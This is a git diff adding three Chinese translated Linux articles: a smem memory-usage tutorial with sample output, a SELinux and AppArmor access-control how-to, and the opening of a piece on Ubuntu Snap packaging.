易于配置列表表头和汇总 +- 从镜像文件夹或者是压缩的 tar 文件中获得数据快照 +- 内置的图表生成机制 +- 轻量级的捕获工具,可用于嵌入式系统 + +### 如何安装 Smem - Linux 下的内存使用情况报告工具 + +安装之前,需要确保满足以下的条件: + +- 现代内核 (版本号高于 2.6.27) +- 较新的 Python 版本 (2.4 及以后版本) +- 可选的 [matplotlib][2] 库用于生成图表 + +对于当今的大多数的 Linux 发行版而言,内核版本和 Python 的版本都能够满足需要,所以仅需要为生成良好的图表安装 matplotlib 库。 + +#### RHEL, CentOS 和 Fedora + +首先启用 [EPEL (Extra Packages for Enterprise Linux)][3] 软件源,然后按照下列步骤操作: + +``` +# yum install smem python-matplotlib python-tk +``` + +#### Debian 和 Ubuntu + +``` +$ sudo apt-get install smem +``` + +#### Linux Mint + +``` +$ sudo apt-get install smem python-matplotlib python-tk +``` + +#### Arch Linux + +使用此 [AUR 仓库][4]。 + +### 如何使用 Smem – Linux 下的内存使用情况报告工具 + +为了查看整个系统所有用户的内存使用情况,运行以下的命令: + +``` +$ sudo smem +``` + +*监视 Linux 系统中的内存使用情况* + +``` + PID User Command Swap USS PSS RSS + 6367 tecmint cat 0 100 145 1784 + 6368 tecmint cat 0 100 147 1676 + 2864 tecmint /usr/bin/ck-launch-session 0 144 165 1780 + 7656 tecmint gnome-pty-helper 0 156 178 1832 + 5758 tecmint gnome-pty-helper 0 156 179 1916 + 1441 root /sbin/getty -8 38400 tty2 0 152 184 2052 + 1434 root /sbin/getty -8 38400 tty5 0 156 187 2060 + 1444 root /sbin/getty -8 38400 tty3 0 156 187 2060 + 1432 root /sbin/getty -8 38400 tty4 0 156 188 2124 + 1452 root /sbin/getty -8 38400 tty6 0 164 196 2064 + 2619 root /sbin/getty -8 38400 tty1 0 164 196 2136 + 3544 tecmint sh -c /usr/lib/linuxmint/mi 0 212 224 1540 + 1504 root acpid -c /etc/acpi/events - 0 220 236 1604 + 3311 tecmint syndaemon -i 0.5 -K -R 0 252 292 2556 + 3143 rtkit /usr/lib/rtkit/rtkit-daemon 0 300 326 2548 + 1588 root cron 0 292 333 2344 + 1589 avahi avahi-daemon: chroot helpe 0 124 334 1632 + 1523 root /usr/sbin/irqbalance 0 316 343 2096 + 585 root upstart-socket-bridge --dae 0 328 351 1820 + 3033 tecmint /usr/bin/dbus-launch --exit 0 328 360 2160 + 1346 root upstart-file-bridge --daemo 0 348 371 1776 + 2607 root /usr/bin/xdm 0 188 378 2368 + 1635 kernoops /usr/sbin/kerneloops 0 352 386 2684 + 344 root upstart-udev-bridge --daemo 0 400 427 2132 + 2960 tecmint /usr/bin/ssh-agent /usr/bin 0 480 485 992 + 3468 tecmint /bin/dbus-daemon --config-f 0 344 515 3284 + 1559 avahi avahi-daemon: running [tecm 0 284 517 3108 + 7289 postfix pickup -l -t unix -u -c 0 288 534 2808 + 2135 root /usr/lib/postfix/master 0 352 576 2872 + 2436 postfix qmgr -l -t unix -u 0 360 606 2884 + 1521 root /lib/systemd/systemd-logind 0 600 650 3276 + 2222 nobody /usr/sbin/dnsmasq --no-reso 0 604 669 3288 +.... +``` + +当普通用户运行 smem,将会显示由该用户启用的进程的占用情况,其中进程按照 PSS 的值升序排列。 + +下面的输出为用户 “aaronkilik” 启用的进程的使用情况: + +``` +$ smem +``` + +*监视 Linux 系统中的内存使用情况* + +``` + PID User Command Swap USS PSS RSS + 6367 tecmint cat 0 100 145 1784 + 6368 tecmint cat 0 100 147 1676 + 2864 tecmint /usr/bin/ck-launch-session 0 144 166 1780 + 3544 tecmint sh -c /usr/lib/linuxmint/mi 0 212 224 1540 + 3311 tecmint syndaemon -i 0.5 -K -R 0 252 292 2556 + 3033 tecmint /usr/bin/dbus-launch --exit 0 328 360 2160 + 3468 tecmint /bin/dbus-daemon --config-f 0 344 515 3284 + 3122 tecmint /usr/lib/gvfs/gvfsd 0 656 801 5552 + 3471 tecmint /usr/lib/at-spi2-core/at-sp 0 708 864 5992 + 3396 tecmint /usr/lib/gvfs/gvfs-mtp-volu 0 804 914 6204 + 3208 tecmint /usr/lib/x86_64-linux-gnu/i 0 892 1012 6188 + 3380 tecmint /usr/lib/gvfs/gvfs-afc-volu 0 820 1024 6396 + 3034 tecmint //bin/dbus-daemon --fork -- 0 920 1081 3040 + 3365 tecmint /usr/lib/gvfs/gvfs-gphoto2- 0 972 1099 6052 + 3228 tecmint /usr/lib/gvfs/gvfsd-trash - 0 980 1153 6648 + 3107 tecmint /usr/lib/dconf/dconf-servic 0 1212 1283 5376 + 6399 tecmint /opt/google/chrome/chrome - 0 144 1409 10732 + 3478 tecmint /usr/lib/x86_64-linux-gnu/g 0 1724 1820 6320 + 7365 tecmint /usr/lib/gvfs/gvfsd-http -- 0 1352 1884 8704 + 6937 tecmint /opt/libreoffice5.0/program 0 1140 2328 5040 + 3194 tecmint /usr/lib/x86_64-linux-gnu/p 0 1956 2405 14228 + 6373 tecmint /opt/google/chrome/nacl_hel 0 2324 2541 8908 + 3313 tecmint /usr/lib/gvfs/gvfs-udisks2- 0 2460 2754 8736 + 3464 tecmint /usr/lib/at-spi2-core/at-sp 0 2684 2823 7920 + 5771 tecmint ssh -p 4521 tecmnt765@212.7 0 2544 2864 6540 + 5759 tecmint /bin/bash 0 2416 2923 5640 + 3541 tecmint /usr/bin/python /usr/bin/mi 0 2584 3008 7248 + 7657 tecmint bash 0 2516 3055 6028 + 3127 tecmint /usr/lib/gvfs/gvfsd-fuse /r 0 3024 3126 8032 + 3205 tecmint mate-screensaver 0 2520 3331 18072 + 3171 tecmint /usr/lib/mate-panel/notific 0 2860 3495 17140 + 3030 tecmint x-session-manager 0 4400 4879 17500 + 3197 tecmint mate-volume-control-applet 0 3860 5226 23736 +... +``` + +使用 smem 时还有一些参数可以选用,例如当查看整个系统的内存占用情况,运行以下的命令: + +``` +$ sudo smem -w +``` + +*监视 Linux 系统中的内存使用情况* + +``` +Area Used Cache Noncache +firmware/hardware 0 0 0 +kernel image 0 0 0 +kernel dynamic memory 1425320 1291412 133908 +userspace memory 2215368 451608 1763760 +free memory 4424936 4424936 0 +``` + +如果想要查看每一个用户的内存使用情况,运行以下的命令: + +``` +$ sudo smem -u +``` + +*Linux 下以用户为单位监控内存占用情况* + +``` +User Count Swap USS PSS RSS +rtkit 1 0 300 326 2548 +kernoops 1 0 352 385 2684 +avahi 2 0 408 851 4740 +postfix 2 0 648 1140 5692 +messagebus 1 0 1012 1173 3320 +syslog 1 0 1396 1419 3232 +www-data 2 0 5100 6572 13580 +mpd 1 0 7416 8302 12896 +nobody 2 0 4024 11305 24728 +root 39 0 323876 353418 496520 +tecmint 64 0 1652888 1815699 2763112 +``` + +你也可以按照映射显示内存使用情况: + +``` +$ sudo smem -m +``` + +*Linux 下以映射为单位监控内存占用情况* + +``` +Map PIDs AVGPSS PSS +/dev/fb0 1 0 0 +/home/tecmint/.cache/fontconfig/7ef2298f 18 0 0 +/home/tecmint/.cache/fontconfig/c57959a1 18 0 0 +/home/tecmint/.local/share/mime/mime.cac 15 0 0 +/opt/google/chrome/chrome_material_100_p 9 0 0 +/opt/google/chrome/chrome_material_200_p 9 0 0 +/usr/lib/x86_64-linux-gnu/gconv/gconv-mo 41 0 0 +/usr/share/icons/Mint-X-Teal/icon-theme. 15 0 0 +/var/cache/fontconfig/0c9eb80ebd1c36541e 20 0 0 +/var/cache/fontconfig/0d8c3b2ac0904cb8a5 20 0 0 +/var/cache/fontconfig/1ac9eb803944fde146 20 0 0 +/var/cache/fontconfig/3830d5c3ddfd5cd38a 20 0 0 +/var/cache/fontconfig/385c0604a188198f04 20 0 0 +/var/cache/fontconfig/4794a0821666d79190 20 0 0 +/var/cache/fontconfig/56cf4f4769d0f4abc8 20 0 0 +/var/cache/fontconfig/767a8244fc0220cfb5 20 0 0 +/var/cache/fontconfig/8801497958630a81b7 20 0 0 +/var/cache/fontconfig/99e8ed0e538f840c56 20 0 0 +/var/cache/fontconfig/b9d506c9ac06c20b43 20 0 0 +/var/cache/fontconfig/c05880de57d1f5e948 20 0 0 +/var/cache/fontconfig/dc05db6664285cc2f1 20 0 0 +/var/cache/fontconfig/e13b20fdb08344e0e6 20 0 0 +/var/cache/fontconfig/e7071f4a29fa870f43 20 0 0 +.... +``` + +还有其它的选项可以筛选 smem 的输出,下面将会举两个例子。 + +要按照用户名筛选输出的信息,使用 -u 或者是 --userfilter="regex" 选项,就像下面的命令这样: + +``` +$ sudo smem -u +``` + +*按照用户报告内存使用情况* + +``` +User Count Swap USS PSS RSS +rtkit 1 0 300 326 2548 +kernoops 1 0 352 385 2684 +avahi 2 0 408 851 4740 +postfix 2 0 648 1140 5692 +messagebus 1 0 1012 1173 3320 +syslog 1 0 1400 1423 3236 +www-data 2 0 5100 6572 13580 +mpd 1 0 7416 8302 12896 +nobody 2 0 4024 11305 24728 +root 39 0 323804 353374 496552 +tecmint 64 0 1708900 1871766 2819212 +``` + +要按照进程名称筛选输出信息,使用 -P 或者是 --processfilter="regex" 选项,就像下面的命令这样: + +``` +$ sudo smem --processfilter="firefox" +``` + +*按照进程名称报告内存使用情况* + +``` +PID User Command Swap USS PSS RSS + 9212 root sudo smem --processfilter=f 0 1172 1434 4856 + 9213 root /usr/bin/python /usr/bin/sm 0 7368 7793 11984 + 4424 tecmint /usr/lib/firefox/firefox 0 931732 937590 961504 +``` + +输出的格式有时候也很重要,smem 提供了一些帮助您格式化内存使用报告的参数,我们将举出几个例子。 + +设置哪些列在报告中,使用 -c 或者是 --columns选项,就像下面的命令这样: + +``` +$ sudo smem -c "name user pss rss" +``` + +*按列报告内存使用情况* + +``` +Name User PSS RSS +cat tecmint 145 1784 +cat tecmint 147 1676 +ck-launch-sessi tecmint 165 1780 +gnome-pty-helpe tecmint 178 1832 +gnome-pty-helpe tecmint 179 1916 +getty root 184 2052 +getty root 187 2060 +getty root 187 2060 +getty root 188 2124 +getty root 196 2064 +getty root 196 2136 +sh tecmint 224 1540 +acpid root 236 1604 +syndaemon tecmint 296 2560 +rtkit-daemon rtkit 326 2548 +cron root 333 2344 +avahi-daemon avahi 334 1632 +irqbalance root 343 2096 +upstart-socket- root 351 1820 +dbus-launch tecmint 360 2160 +upstart-file-br root 371 1776 +xdm root 378 2368 +kerneloops kernoops 386 2684 +upstart-udev-br root 427 2132 +ssh-agent tecmint 485 992 +... +``` + +也可以调用 -p 选项以百分比的形式报告内存使用情况,就像下面的命令这样: + +``` +$ sudo smem -p +``` + +*按百分比报告内存使用情况* + +``` + PID User Command Swap USS PSS RSS + 6367 tecmint cat 0.00% 0.00% 0.00% 0.02% + 6368 tecmint cat 0.00% 0.00% 0.00% 0.02% + 9307 tecmint sh -c { sudo /usr/lib/linux 0.00% 0.00% 0.00% 0.02% + 2864 tecmint /usr/bin/ck-launch-session 0.00% 0.00% 0.00% 0.02% + 3544 tecmint sh -c /usr/lib/linuxmint/mi 0.00% 0.00% 0.00% 0.02% + 5758 tecmint gnome-pty-helper 0.00% 0.00% 0.00% 0.02% + 7656 tecmint gnome-pty-helper 0.00% 0.00% 0.00% 0.02% + 1441 root /sbin/getty -8 38400 tty2 0.00% 0.00% 0.00% 0.03% + 1434 root /sbin/getty -8 38400 tty5 0.00% 0.00% 0.00% 0.03% + 1444 root /sbin/getty -8 38400 tty3 0.00% 0.00% 0.00% 0.03% + 1432 root /sbin/getty -8 38400 tty4 0.00% 0.00% 0.00% 0.03% + 1452 root /sbin/getty -8 38400 tty6 0.00% 0.00% 0.00% 0.03% + 2619 root /sbin/getty -8 38400 tty1 0.00% 0.00% 0.00% 0.03% + 1504 root acpid -c /etc/acpi/events - 0.00% 0.00% 0.00% 0.02% + 3311 tecmint syndaemon -i 0.5 -K -R 0.00% 0.00% 0.00% 0.03% + 3143 rtkit /usr/lib/rtkit/rtkit-daemon 0.00% 0.00% 0.00% 0.03% + 1588 root cron 0.00% 0.00% 0.00% 0.03% + 1589 avahi avahi-daemon: chroot helpe 0.00% 0.00% 0.00% 0.02% + 1523 root /usr/sbin/irqbalance 0.00% 0.00% 0.00% 0.03% + 585 root upstart-socket-bridge --dae 0.00% 0.00% 0.00% 0.02% + 3033 tecmint /usr/bin/dbus-launch --exit 0.00% 0.00% 0.00% 0.03% +.... +``` + +下面的命令将会在输出的最后输出一行汇总信息: + +``` +$ sudo smem -t +``` + +*报告内存占用合计* + +``` +PID User Command Swap USS PSS RSS + 6367 tecmint cat 0 100 139 1784 + 6368 tecmint cat 0 100 141 1676 + 9307 tecmint sh -c { sudo /usr/lib/linux 0 96 158 1508 + 2864 tecmint /usr/bin/ck-launch-session 0 144 163 1780 + 3544 tecmint sh -c /usr/lib/linuxmint/mi 0 108 170 1540 + 5758 tecmint gnome-pty-helper 0 156 176 1916 + 7656 tecmint gnome-pty-helper 0 156 176 1832 + 1441 root /sbin/getty -8 38400 tty2 0 152 181 2052 + 1434 root /sbin/getty -8 38400 tty5 0 156 184 2060 + 1444 root /sbin/getty -8 38400 tty3 0 156 184 2060 + 1432 root /sbin/getty -8 38400 tty4 0 156 185 2124 + 1452 root /sbin/getty -8 38400 tty6 0 164 193 2064 + 2619 root /sbin/getty -8 38400 tty1 0 164 193 2136 + 1504 root acpid -c /etc/acpi/events - 0 220 232 1604 + 3311 tecmint syndaemon -i 0.5 -K -R 0 260 298 2564 + 3143 rtkit /usr/lib/rtkit/rtkit-daemon 0 300 324 2548 + 1588 root cron 0 292 326 2344 + 1589 avahi avahi-daemon: chroot helpe 0 124 332 1632 + 1523 root /usr/sbin/irqbalance 0 316 340 2096 + 585 root upstart-socket-bridge --dae 0 328 349 1820 + 3033 tecmint /usr/bin/dbus-launch --exit 0 328 359 2160 + 1346 root upstart-file-bridge --daemo 0 348 370 1776 + 2607 root /usr/bin/xdm 0 188 375 2368 + 1635 kernoops /usr/sbin/kerneloops 0 352 384 2684 + 344 root upstart-udev-bridge --daemo 0 400 426 2132 +..... +------------------------------------------------------------------------------- + 134 11 0 2171428 2376266 3587972 +``` + +另外,smem 也提供了选项以图形的形式报告内存的使用情况,我们将会在下一小节深入介绍。 + +比如,你可以生成一张进程的 PSS 和 RSS 值的条状图。在下面的例子中,我们会生成属于 root 用户的进程的内存占用图。 + +纵坐标为每一个进程的 PSS 和 RSS 值,横坐标为 root 用户的所有进程(的 ID): + +``` +$ sudo smem --userfilter="root" --bar pid -c"pss rss" +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Linux-Memory-Usage-in-PSS-and-RSS-Values.png) + +*Linux Memory Usage in PSS and RSS Values* + +也可以生成进程及其 PSS 和 RSS 占用量的饼状图。以下的命令将会输出一张 root 用户的所有进程的饼状图。 + +`--pie` name 意思为以各个进程名字为标签,`-s` 选项用来以 PSS 的值排序。 + +``` +$ sudo smem --userfilter="root" --pie name -s pss +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Linux-Memory-Consumption-by-Processes.png) + +*Linux Memory Consumption by Processes* + +除了 PSS 和 RSS ,其它的字段也可以用于图表的标签: + +假如需要获得帮助,非常简单,仅需要输入 `smem -h` 或者是浏览帮助页面。 + +关于 smem 的介绍到底为止,不过想要更好的了解它,可以通过 man 手册获得更多的选项,然后一一实践。有什么想法或者疑惑,都可以跟帖评价。 + +参考链接: + + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/smem-linux-memory-usage-per-process-per-user/ + +作者:[Aaron Kili][a] +译者:[dongfengweixiao](https://github.com/dongfengweixiao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/aaronkili/ +[1]: https://emilics.com/notebook/enblog/p871.html +[2]: http://matplotlib.org/index.html +[3]: https://linux.cn/article-2324-1.html +[4]: https://www.archlinux.org/packages/community/i686/smem/ diff --git a/published/201608/20160608 Implementing Mandatory Access Control with SELinux or AppArmor in Linux.md b/published/201608/20160608 Implementing Mandatory Access Control with SELinux or AppArmor in Linux.md new file mode 100644 index 0000000000..2f77f11b9b --- /dev/null +++ b/published/201608/20160608 Implementing Mandatory Access Control with SELinux or AppArmor in Linux.md @@ -0,0 +1,255 @@ +在 Linux 上用 SELinux 或 AppArmor 实现强制访问控制(MAC) +=========================================================================== + +为了解决标准的“用户-组-其他/读-写-执行”权限以及[访问控制列表][1]的限制以及加强安全机制,美国国家安全局(NSA)设计出一个灵活的强制访问控制(Mandatory Access Control:MAC)方法 SELinux(Security Enhanced Linux 的缩写),来限制标准的权限之外的种种权限,在仍然允许对这个控制模型后续修改的情况下,让进程尽可能以最小权限访问或在系统对象(如文件,文件夹,网络端口等)上执行其他操作。 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/SELinux-AppArmor-Security-Hardening-Linux.png) + +*SELinux 和 AppArmor 加固 Linux 安全* + +另一个流行并且被广泛使用的 MAC 是 AppArmor,相比于 SELinux 它提供更多的特性,包括一个学习模式,可以让系统“学习”一个特定应用的行为,以及通过配置文件设置限制实现安全的应用使用。 + +在 CentOS 7 中,SELinux 合并进了内核并且默认启用强制(Enforcing)模式(下一节会介绍这方面更多的内容),与之不同的是,openSUSE 和 Ubuntu 使用的是 AppArmor 。 + +在这篇文章中我们会解释 SELinux 和 AppArmor 的本质,以及如何在你选择的发行版上使用这两个工具之一并从中获益。 + +### SELinux 介绍以及如何在 CentOS 7 中使用 + +Security Enhanced Linux 可以以两种不同模式运行: + +- 强制(Enforcing):这种情况下,SELinux 基于 SELinux 策略规则拒绝访问,策略规则是一套控制安全引擎的规则。 +- 宽容(Permissive):这种情况下,SELinux 不拒绝访问,但如果在强制模式下会被拒绝的操作会被记录下来。 + +SELinux 也能被禁用。尽管这不是它的一个操作模式,不过也是一种选择。但学习如何使用这个工具强过只是忽略它。时刻牢记这一点! + +使用 `getenforce` 命令来显示 SELinux 的当前模式。如果你想要更改模式,使用 `setenforce 0`(设置为宽容模式)或 `setenforce 1`(强制模式)。 + +因为这些设置重启后就失效了,你需要编辑 `/etc/selinux/config` 配置文件并设置 `SELINUX` 变量为 `enforcing`、`permissive` 或 `disabled` ,保存设置让其重启后也有效: + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Enable-Disable-SELinux-Mode.png) + +*如何启用和禁用 SELinux 模式* + +还有一点要注意,如果 `getenforce` 返回 Disabled,你得编辑 `/etc/selinux/config` 配置文件为你想要的操作模式并重启。否则你无法利用 `setenforce` 设置(或切换)操作模式。 + +`setenforce` 的典型用法之一包括在 SELinux 模式之间切换(从强制到宽容或相反)来定位一个应用是否行为不端或没有像预期一样工作。如果它在你将 SELinux 设置为宽容模式正常工作,你就可以确定你遇到的是 SELinux 权限问题。 + +有两种我们使用 SELinux 可能需要解决的典型案例: + +- 改变一个守护进程监听的默认端口。 +- 给一个虚拟主机设置 /var/www/html 以外的文档根路径值。 + +让我们用以下例子来看看这两种情况。 + +#### 例 1:更改 sshd 守护进程的默认端口 + +大部分系统管理员为了加强服务器安全首先要做的事情之一就是更改 SSH 守护进程监听的端口,主要是为了阻止端口扫描和外部攻击。要达到这个目的,我们要更改 `/etc/ssh/sshd_config` 中的 Port 值为以下值(我们在这里使用端口 9999 为例): + +``` +Port 9999 +``` + +在尝试重启服务并检查它的状态之后,我们会看到它启动失败: + +``` +# systemctl restart sshd +# systemctl status sshd +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Check-sshd-Service-Status.png) + +*检查 SSH 服务状态* + +如果我们看看 `/var/log/audit/audit.log`,就会看到 sshd 被 SELinux 阻止在端口 9999 上启动,因为它是 JBoss 管理服务的保留端口(SELinux 日志信息包含了词语“AVC”,所以应该很容易把它同其他信息区分开来): + +``` +# cat /var/log/audit/audit.log | grep AVC | tail -1 +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Check-Linux-Audit-Logs.png) + +*检查 Linux 审计日志* + +在这种情况下大部分人可能会禁用 SELinux,但我们不这么做。我们会看到有个让 SELinux 和监听其他端口的 sshd 和谐共处的方法。首先确保你有 `policycoreutils-python` 这个包,执行: + +``` +# yum install policycoreutils-python +``` + +查看 SELinux 允许 sshd 监听的端口列表。在接下来的图片中我们还能看到端口 9999 是为其他服务保留的,所以我们暂时无法用它来运行其他服务: + +``` +# semanage port -l | grep ssh +``` + +当然我们可以给 SSH 选择其他端口,但如果我们确定我们不会使用这台机器跑任何 JBoss 相关的服务,我们就可以修改 SELinux 已存在的规则,转而给 SSH 分配那个端口: + +``` +# semanage port -m -t ssh_port_t -p tcp 9999 +``` + +这之后,我们就可以用前一个 `semanage` 命令检查端口是否正确分配了,即使用 `-lC` 参数(list custom 的简称): + +``` +# semanage port -lC +# semanage port -l | grep ssh +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Assign-Port-to-SSH.png) + +*给 SSH 分配端口* + +我们现在可以重启 SSH 服务并通过端口 9999 连接了。注意这个更改重启之后依然有效。 + +#### 例 2:给一个虚拟主机设置 /var/www/html 以外的文档根路径(DocumentRoot) + +如果你需要用除 `/var/www/html` 以外目录作为文档根目录(DocumentRoot)[设置一个 Apache 虚拟主机][2](也就是说,比如 `/websrv/sites/gabriel/public_html`): + +``` +DocumentRoot “/websrv/sites/gabriel/public_html” +``` + +Apache 会拒绝提供内容,因为 `index.html` 已经被标记为了 `default_t SELinux` 类型,Apache 无法访问它: + +``` +# wget http://localhost/index.html +# ls -lZ /websrv/sites/gabriel/public_html/index.html +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Labeled-default_t-SELinux-Type.png) + +*被标记为 default_t SELinux 类型* + +和之前的例子一样,你可以用以下命令验证这是不是 SELinux 相关的问题: + +``` +# cat /var/log/audit/audit.log | grep AVC | tail -1 +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Check-Logs-for-SELinux-Issues.png) + +*检查日志确定是不是 SELinux 的问题* + +要将 `/websrv/sites/gabriel/public_html` 整个目录内容标记为 `httpd_sys_content_t`,执行: + +``` +# semanage fcontext -a -t httpd_sys_content_t "/websrv/sites/gabriel/public_html(/.*)?" +``` + +上面这个命令会赋予 Apache 对那个目录以及其内容的读取权限。 + +最后,要应用这条策略(并让更改的标记立即生效),执行: + +``` +# restorecon -R -v /websrv/sites/gabriel/public_html +``` + +现在你应该可以访问这个目录了: + +``` +# wget http://localhost/index.html +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Access-Apache-Directory.png) + +*访问 Apache 目录* + +要获取关于 SELinux 的更多信息,参阅 Fedora 22 中的 [SELinux 用户及管理员指南][3]。 + +### AppArmor 介绍以及如何在 OpenSUSE 和 Ubuntu 上使用它 + +AppArmor 的操作是基于写在纯文本文件中的规则定义,该文件中含有允许权限和访问控制规则。安全配置文件用来限制应用程序如何与系统中的进程和文件进行交互。 + +系统初始就提供了一系列的配置文件,但其它的也可以由应用程序在安装的时候设置或由系统管理员手动设置。 + +像 SELinux 一样,AppArmor 以两种模式运行。在 enforce 模式下,应用被赋予它们运行所需要的最小权限,但在 complain 模式下 AppArmor 允许一个应用执行受限的操作并将操作造成的“抱怨”记录到日志里(`/var/log/kern.log`,`/var/log/audit/audit.log`,和其它放在 `/var/log/apparmor` 中的日志)。 + +日志中会显示配置文件在强制模式下运行时会产生错误的记录,它们中带有 `audit` 这个词。因此,你可以在 AppArmor 的 enforce 模式下运行之前,先在 complain 模式下尝试运行一个应用并调整它的行为。 + +可以用这个命令显示 AppArmor 的当前状态: + +``` +$ sudo apparmor_status +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Check-AppArmor-Status.png) + +*查看 AppArmor 的状态* + +上面的图片指明配置 `/sbin/dhclient`,`/usr/sbin/`,和 `/usr/sbin/tcpdump` 等处在 enforce 模式下(在 Ubuntu 下默认就是这样的)。 + +因为不是所有的应用都包含相关的 AppArmor 配置,apparmor-profiles 包给其它没有提供限制的包提供了配置。默认它们配置在 complain 模式下运行,以便系统管理员能够测试并选择一个所需要的配置。 + +我们将会利用 apparmor-profiles,因为写一份我们自己的配置已经超出了 LFCS [认证][4]的范围了。但是,由于配置都是纯文本文件,你可以查看并学习它们,为以后创建自己的配置做准备。 + +AppArmor 配置保存在 `/etc/apparmor.d` 中。让我们来看看这个文件夹在安装 apparmor-profiles 之前和之后有什么不同: + +``` +$ ls /etc/apparmor.d +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/06/View-AppArmor-Directory-Content.png) + +*查看 AppArmor 文件夹内容* + +如果你再次执行 `sudo apparmor_status`,你会在 complain 模式看到更长的配置文件列表。你现在可以执行下列操作。 + +将当前在 enforce 模式下的配置文件切换到 complain 模式: + +``` +$ sudo aa-complain /path/to/file +``` + +以及相反的操作(complain –> enforce): + +``` +$ sudo aa-enforce /path/to/file +``` + +上面这些例子是允许使用通配符的。举个例子: + +``` +$ sudo aa-complain /etc/apparmor.d/* +``` + +会将 `/etc/apparmor.d` 中的所有配置文件设置为 complain 模式,反之 + +``` +$ sudo aa-enforce /etc/apparmor.d/* +``` + +会将所有配置文件设置为 enforce 模式。 + +要完全禁用一个配置,在 `/etc/apparmor.d/disabled` 目录中创建一个符号链接: + +``` +$ sudo ln -s /etc/apparmor.d/profile.name /etc/apparmor.d/disable/ +``` + +要获取关于 AppArmor 的更多信息,参阅[官方的 AppArmor wiki][5] 以及 [Ubuntu 提供的][6]文档。 + +### 总结 + +在这篇文章中我们学习了一些 SELinux 和 AppArmor 这两个著名的强制访问控制系统的基本知识。什么时候使用两者中的一个或是另一个?为了避免提高难度,你可能需要考虑专注于你选择的发行版自带的那一个。不管怎样,它们会帮助你限制进程和系统资源的访问,以提高你服务器的安全性。 + +关于本文你有任何的问题,评论,或建议,欢迎在下方发表。不要犹豫,让我们知道你是否有疑问或评论。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/mandatory-access-control-with-selinux-or-apparmor-linux/ + +作者:[Gabriel Cánepa][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/gacanepa/ +[1]: http://www.tecmint.com/secure-files-using-acls-in-linux/ +[2]: http://www.tecmint.com/apache-virtual-hosting-in-centos/ +[3]: https://docs.fedoraproject.org/en-US/Fedora/22/html/SELinux_Users_and_Administrators_Guide/index.html +[4]: http://www.tecmint.com/sed-command-to-create-edit-and-manipulate-files-in-linux/ +[5]: http://wiki.apparmor.net/index.php/Main_Page +[6]: https://help.ubuntu.com/community/AppArmor + + diff --git "a/published/201608/20160614 \342\200\213Ubuntu Snap takes charge of Linux desktop and IoT software distribution.md" "b/published/201608/20160614 \342\200\213Ubuntu Snap takes charge of Linux desktop and IoT software distribution.md" new file mode 100644 index 0000000000..e4eae87ab2 --- /dev/null +++ "b/published/201608/20160614 \342\200\213Ubuntu Snap takes charge of Linux desktop and IoT software distribution.md" @@ -0,0 +1,110 @@ +Ubuntu Snap 软件包接管 Linux 桌面和 IoT 软件的发行 +=========================================================================== + +[Canonical][28] 和 [Ubuntu][29] 创始人 Mark Shuttleworth 在一次采访中说他不准备宣布 Ubuntu 的新 [ Snap 程序包格式][30]。但是就在几个月之后,很多 Linux 发行版的开发者和公司都宣布他们会把 Snap 作为通用 Linux 程序包格式。 + +![](http://zdnet2.cbsistatic.com/hub/i/r/2016/06/14/a9b2a139-3cd4-41bf-8e10-180cb9450134/resize/770xauto/adc7d16a46167565399ecdb027dd1416/ubuntu-snap.jpg) + +*Linux 供应商,独立软件开发商和公司门全都采用 Ubuntu Snap 作为多种 Linux 系统的配置和更新程序包。* + +为什么呢?因为 Snap 能使一个单一的二进制程序包可以完美、安全地运行在任何 Linux 台式机、服务器、云或物联网设备上。据 Canonical 的 Ubuntu 客户端产品和版本负责人 Olli Ries 说: + +>[Snap 程序包的安全机制][1]让我们在更快的跨发行版的应用更新中打开了新的局面,因为 Snap 应用是与系统的其它部分想隔离的。用户可以安装一个 Snap 而不用担心是否会影响其他的应用程序和操作系统。 + +当然了,如 Linux 内核的早期开发者和 CoreOS 安全维护者 Matthew Garrett 指出的那样:如果你[将 Snap 用在不安全的程序中,比如 X11 窗口系统][2],实际上您并不会获得安全性。(LCTT 译注:X11 也叫做 X Window 系统,X Window 系统 ( X11 或 X )是一种位图显示的视窗系统 。它是在 Unix 和类 Unix 操作系统 ,以及 OpenVMS 上建立图形用户界面的标准工具包和协议,并可用于几乎所有已有的现代操作系统。) + +Shuttleworth 同意 Garrett 的观点,但是他也说你可以控制 Snap 应用是如何与系统的其它部分如何交互的。比如,一个 web 浏览器可以包含在一个安全的 Snap 程序包中,这个 Snap 使用 Ubuntu 打包的 [openssl][3] TLS 和 SSL 库。除此之外,即使有些东西影响到了浏览器实例内部,也不能进入到底层的操作系统。 + +很多公司也这样认为。戴尔、三星、Mozilla、[krita][7](LCTT 译注:Krita 是一个位图形编辑软件,KOffice 套装的一部份。包含一个绘画程式和照片编辑器,Krita 是自由软件,并根据GNU通用公共许可证发布)、[Mycroft][8](LCTT 译注:Mycroft 是一个开源AI智能家居平台,配置 Raspberry Pi 2 和 Arduino 控制器),以及 [Horizon Computing][9](LCTT 译注:为客户提供优质的硬件架构为其运行云平台)都将使用 Snap。Arch Linux、Debain、Gentoo 和 OpenWrt 开发团队也已经拥抱了 Snap,也会把 Snap 加入到他们各自的发行版中。 + +Snap 包又叫做“Snaps”,现在已经可以原生的运行在 Arch、Debian、Fedora、Kubuntu、Lubuntu、Ubuntu GNOME、Ubuntu Kylin、Ubuntu MATE、Ubuntu Unity 和 Xubuntu 之上。 Snap 也在 CentOS、Elementary、Gentoo、Mint、OpenSUSE 和 Red Hat Enterprise Linux (RHEL) 上取得了验证,并且也很容易运行在其他 Linux 发行版上。 + 